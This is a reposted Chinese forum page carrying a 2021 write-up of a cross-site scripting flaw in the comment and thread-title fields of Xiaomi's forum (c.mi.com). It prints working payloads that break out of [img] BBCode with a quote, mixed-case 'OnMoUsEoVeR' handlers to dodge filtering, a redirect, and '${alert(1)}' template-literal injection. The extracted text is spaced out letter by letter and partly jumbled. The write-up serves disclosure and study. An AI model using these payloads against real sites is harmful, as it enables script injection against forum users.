搜索

[28920] 2021-05-07_小米论坛（c.mi.com）XSS漏洞利用

文档创建者：s7ckTeam
浏览次数：102
最后更新：2025-01-19
2021-05-07_小米论坛（c.mi.com）XSS漏洞利用 小 米 论 坛 （ c . m i . c o m ） X S S 漏 洞 利 用 O t s 安 全   2 0 2 1 - 0 5 - 0 7 M a r k d o w n 是 一 种 文 本 到 H T M L 的 转 换 工 具 ， 可 在 创 建 W e b 内 容 时 使 用 。 通 过 使 用 M a r k d o w n ， 我 们 可 以 以 易 于 阅 读 和 易 于 编 写 的 格 式 编 写 H T M L 内 容 。 此 漏 洞 位 于 小 米 论 坛 （ c . m i . c o m ） 的 评 论 部 分 。 首 先 ， 我 尝 试 在 评 论 有 效 载 荷 中 发 布 图 像 ： 回 复 ： 接 下 来 ， 我 尝 试 在 图 片 网 址 有 效 负 载 后 插 入 双 引 号 ： 回 复 ： 现 在 ， 让 我 们 尝 试 插 入 J a v a S c r i p t 事 件 处 理 程 序 属 性 P a y l o a d s ： 回 复 ： 服 务 器 立 即 将 字 符 （ “ ） 更 改 为 ％ 2 2 ， 现 在 我 尝 试 在 事 件 处 理 程 序 有 效 负 载 中 使 用 一 些 大 写 字 母 ： [ i m g ] h t t p s : / / s e r v e r / i m a g e . j p g [ / i m g ] < i m g   s r c = " h t t p s : / / s e r v e r / i m a g e . j p g "   / > [ i m g ] h t t p s : / / s e r v e r / i m a g e . j p g " [ / i m g ] < i m g   s r c = " h t t p s : / / s e r v e r / i m a g e . j p g " "   / > [ i m g ] h t t p s : / / s e r v e r / i m a g e . j p g " o n m o u s e o v e r = [ / i m g ] < i m g   s r c = " h t t p s : / / s e r v e r / i m a g e . j p g % 2 2 o n m o u s e o v e r = "   / > [ i m g ] h t t p s : / / s e r v e r / i m a g e . j p g " O n M o U s E o V e R = [ / i m g ]
回 复 ： 接 下 来 ， 最 后 的 有 效 载 荷 ， 有 效 载 荷 ： 回 复 ： 首 先 ， 我 试 图 在 小 米 论 坛 上 发 布 一 个 线 程 ， 然 后 我 看 到 了 源 代 码 ， 反 引 号 （ ` ` ） 中 显 示 了 线 程 标 题 你 们 知 道 吗 ？ 实 际 上 ， 我 们 可 以 使 用 $   { } 示 例 在 反 引 号 （ ` ` ） 内 运 行 J a v a S c r i p t 函 数 ： 最 终 有 效 载 荷 ： X S S 触 发 [ i m g ] h t t p s : / / s e r v e r / i m a g e . j p g " O n M o U s E o V e R = [ / i m g ] < i m g   s r c = " h t t p s : / / s e r v e r / i m a g e . j p g " O n M o U s E o V e R = "   / > [ i m g ] h t t p s : / / s e r v e r / i m a g e . j p g " O n M o U s E o V e R = w i n d o w . l o c a t i o n = " / / g o o g l e . c o m [ / i m g ] < i m g   s r c = " h t t p s : / / s e r v e r / i m a g e . j p g " O n M o U s E o V e R = w i n d o w . l o c a t i o n = " / / g o o g l e . c o m "   / > v a r   t h r e a d T i t l e   =   ` H e l l o o o o o o o o o o o ` v a r   a b c   =   ` d a d a $ { a l e r t ( 1 ) } ` H e l l o o o o o o o o o o o $ { a l e r t ( 1 ) }
响 应 ： 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理